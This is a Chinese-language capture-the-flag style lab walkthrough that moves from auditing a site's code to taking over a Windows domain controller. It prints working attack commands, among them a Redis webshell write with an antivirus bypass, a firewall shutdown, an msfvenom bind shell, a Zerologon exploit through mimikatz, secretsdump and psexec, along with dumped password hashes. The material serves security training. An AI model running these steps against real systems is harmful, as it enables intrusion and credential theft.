如何通過程式碼審計從三層內網各種漏洞拿到域控?

語言: CN / TW / HK

在這裡插入圖片描述 @TOC

本次靶場要求:

四個 root.txt 分別在四臺機子使用者目錄下 拿到三個及格 拿下四個滿分

程式碼審計 Getshell

首先是一個站:cocat.cc image.png

通過提示把它的備份檔案下載到了本地進行審計: image.png

Bypass 突破執行命令

通過審計拿到了一個 webshell:image.png

由於當前環境不能執行命令,函式都寫死了: image.png

通過翻檔案翻到了 Mysql 的配置檔案: image.png

本想嘗試 Mysql udf 提權繞過發現 Mysql 版本大於 5.1image.png

拿到寶塔後臺許可權

由於當前 web 是寶塔搭建的: image.png

通過翻檔案找到了寶塔後臺地址:

C:/BtSoft/panel/data/admin_path.pl image.png

image.png

然後通過把寶塔的 default.db 檔案下載到本地開啟,users 表裡就是寶塔的登陸賬號密碼: image.png

md5 是肯定解密不出來的: image.png

這個時候需要替換 md5 或者新增一個使用者: image.png

然後把檔案儲存,上傳到目標寶塔目錄下: image.png

這個時候使用賬號 saulGoodmang 密碼 123456 去登陸: image.png

手動把禁用的函式關閉: image.png

然後給他來個重啟: image.png

命令執行強行繞過: image.png

拿到第一個 root.txt

flag{moonsec-c20ad4d76fe97759aa27a0c99bff6710-1}

image.png

內網滲透一

通過檢視程序發現有火絨AVimage.png

隨即做免殺上線到 CSimage.png

發現當前內網應該是有其他主機存活的: image.png

通過 nbtscan 發現內網還有一臺主機存活: image.png

通過 fscan 也掃描出來內網資產了: image.png

為了進內網直接做了一個 frp socks 代理進去: image.png

通過 lengyi 老哥的指令碼繞過火絨添加了一個使用者:

hacker 密碼:[email protected]

image.png image.png

然後開啟了它的 3389:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

image.png (https://xzfile.aliyuncs.com/media/upload/picture/20210705141614-80956976-dd58-1.jpg) image.png

為了方便我把 shell 彈到了msfimage.png

然後抓到了 hash:(由於是 windows 2012 明文是抓不了的,只能抓 hash)

meterpreter > hashdump 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:de935c6087ec367d3ef786915a4edcce:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hacker:1003:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
mysql:1002:aad3b435b51404eeaad3b435b51404ee:291376866817cf2ccfe198308e5f925b:::
www.saulgoodman.cn:1001:aad3b435b51404eeaad3b435b51404ee:894f353e870620b186a9a46ce56ac8f1:::

通過解密得到了 administrator 的密碼:QWEasd444

內網橫向移動-192.168.59.4

通過 msf 對內網進行掃描 arp 存活發現了幾臺機器:(之前沒掃描出來應該是有防火牆)

post/windows/gather/arp_scanner

image.png

192.168.59.1 就不用看了是閘道器,192.168.59.4 就是內網另一臺主機! 隨後 proxychains + nmap192.168.59.4 進行掃描探測埠服務:

proxychains nmap -sT -sV -Pn -n -p22,80,139,135,445,3306,1433,6379 192.168.59.4

[圖片上傳中...(image.png-fb74c0-1626434352686-0)]

發現開放的埠有: image.png

web 頁面的話倒是沒啥: image.png

看了看掃描出來 6379 應該是 redis 相關漏洞! 通過嘗試 redis 未授權發現連線成功! image.png

但是檢視資訊發現出錯,應該是密碼問題: image.png

通過 msf redis 爆破模組爆破出了密碼: image.png

重新登陸 redis

proxychains redis-cli -h 192.168.59.4 -p 6379 -a 123456789qq

image.png

登陸成功!現在要想拿到許可權首先我們不知道網站路徑(寫不了一句話 ),但是知道當前網站使用的是 IIS,那麼 IIS 預設目錄是:

C:\Inetpub\wwwroot

設想會不會是這個目錄呢?隨即寫了一個 aspxshellIIS 預設目錄:

192.168.59.4:6379> config set dir C:/inetpub/wwwroot/
OK
192.168.59.4:6379> config set dbfilename 1.aspx
OK
192.168.59.4:6379> set x '<%execute(request("x"))%>'  //注意這裡要用單引號
OK
192.168.59.4:6379> save

發現寫入不了,隨後設定了讀寫許可權 :

config set slave-read-only on

然後發現讀寫可以了: image.png

再來寫一遍 webshellimage.png

發現是 404,寫 asp500,應該是什麼東西攔截了。

隨後 bypass 測試,可以通過這樣繞過:(單引號中間要帶空格)

set x '    <%execute(request("x"))%>    '

image.png

拿到 webshell:http://192.168.59.4/a.asp

內網滲透二

通過發現當前機器是不出網的,而且許可權還很小: image.png

發現當前機器上許可權太小任何檔案都上傳不了: image.png

通過找到了一個可讀可寫目錄:

C:\ProgramData\VMware\logs\

並且當前機器上無任何殺軟: image.png

隨即壞土豆提權成功: image.png

拿到第二個 flag:

flag{moonsec-b6d767d2f8ed5d21a44b0e5886680cb9-2}

image.png

隨即添加了一個 asp.net 管理員使用者進去: image.png

內網滲透-10.10.10.202

通過對內網進行存活探測發現內網存活了三臺:10.10.10.20110.10.10.202(本機)、10.10.10.209:

for /l %i in (1,1,255) do @ ping 10.10.10.%i -w 1 -n 1 | find /i "ttl="

image.png

隨後關閉它防火牆:

netsh advfirewall set allprofiles state off

image.png

然後 MSF 生成正向 shell

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=9099 -f exe >/root/9099.exe

image.png

目標執行 9090.exeimage.png

隨後 MSF 上線: image.png

hashdump 解密得到了密碼:QWEasd1122: image.png

緊接著開了它的遠端桌面:(之前添加了一個 asp.net 使用者,方便後續好登陸桌面 )

run post/windows/manage/enable_rdp

image.png

image.png

通過 nbtcan 發現 10.10.10.201(DC)、10.10.10.209 是域環境: image.png

得想辦法拿到一臺域機器 對他們進行掃描埠發現他們都開放了 web 服務: image.png

其中 10.10.10.209 還是一個 Outlook Web App(微軟的郵件元件)Exchangeimage.png

但是我們沒有賬號,這個時候我在 Redis 上找到了 pts 檔案:

C:\Users>for /r c:\ %i in (*.pst) do @echo %i
for /r c:\ %i in (*.pst) do @echo %i
c:\Documents and Settings\Administrator\Documents\Outlook \[email protected]
c:\Documents and Settings\Administrator\Documents\Outlook \[email protected] - test.pst
c:\Documents and Settings\Administrator\My Documents\Outlook \[email protected]
c:\Documents and Settings\Administrator\My Documents\Outlook \[email protected] - test.pst
c:\Users\Administrator\Documents\Outlook \[email protected]
c:\Users\Administrator\Documents\Outlook \[email protected] - test.pst
c:\Users\Administrator\My Documents\Outlook \[email protected]
c:\Users\Administrator\My Documents\Outlook \[email protected] - test.pst

image.png

image.png

知道了兩個使用者郵箱:[email protected][email protected] 然後把檔案都下載到本地,進行後續利用(發現都失敗了)

CVE-2020-1472 拿到域控

之後發現他域控存在 CVE-2020-1472 域內提權漏洞:(需要 20200918 之後的 mimikatz 才可以使用)

privilege::debug
lsadump::zerologon /target:10.10.10.201 /account:12SERVER-DC$

image.png

lsadump::zerologon /target:10.10.10.201 /account:12server-dc$ /exploit

image.png

匯出所有域內使用者憑證:

python3 secretsdump.py cncat/[email protected] -no-pass

cncat.cc\Administrator:500:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387:::

image.png

image.png

拿到域控和 flagimage.png

利用 msf psexec 上線:

msf6 exploit(windows/smb/psexec) > show options 

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting                                                    Required  Description
   ----                  ---------------                                                    --------  -----------
   RHOSTS                10.10.10.201                                                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                 445                                                                yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                                                                      no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                     no        The service display name
   SERVICE_NAME                                                                             no        The service name
   SHARE                                                                                    no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             cncat                                                              no        The Windows domain to use for authentication
   SMBPass               aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387  no        The password for the specified username
   SMBUser               Administrator                                                      no        The username to authenticate as

Payload options (windows/x64/meterpreter/bind_tcp_rc4):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   EXITFUNC     thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT        4446             yes       The listen port
   RC4PASSWORD  msf              yes       Password to derive RC4 key from
   RHOST        10.10.10.201     no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf6 exploit(windows/smb/psexec) > run

[*] 10.10.10.201:445 - Connecting to the server...
NOTE: Rex::Socket.gethostbyname is deprecated, use getaddress, resolve_nbo, or similar instead. It will be removed in the next Major version
[*] 10.10.10.201:445 - Authenticating to 10.10.10.201:445|cncat as user 'Administrator'...
[*] 10.10.10.201:445 - Selecting PowerShell target
[*] 10.10.10.201:445 - Executing the payload...
[+] 10.10.10.201:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 10.10.10.201:4446
NOTE: Rex::Socket.gethostbyname is deprecated, use getaddress, resolve_nbo, or similar instead. It will be removed in the next Major version
[*] Sending stage (200266 bytes) to 10.10.10.201
[*] Meterpreter session 5 opened (0.0.0.0:0 -> 180.215.199.206:22222) at 2021-06-02 06:35:22 +0000

meterpreter >

然後通過令牌竊取身份切換為域管: image.png

然後通過和域機器 10.10.10.209 建立 IPCimage.png

至此最後一個 flag 也拿到: image.png

至此本次考核完畢! 【程式碼審計文件】 image.png 【程式碼審計文件】 image.png

對於學習安全的人來說,程式碼審計這一塊也是必不可少的,除了程式碼審計,我也整理了網路安全系統學習文件300PDF供大家學習,【點我檢視完整文件】

總結

對於紅隊成員來說最重要的就是滲透不能有短板,各種漏洞都應該去復現一遍,由於我 Exchange 的漏洞未復現導致卡了很長時間,最後還是使用暴力的手段拿到域控,在真實環境中很危險,很有可能導致域控的密碼恢復不了!哦豁,那你就等著跑路吧!

結尾

若有好的建議和錯誤可以通過評論區評論!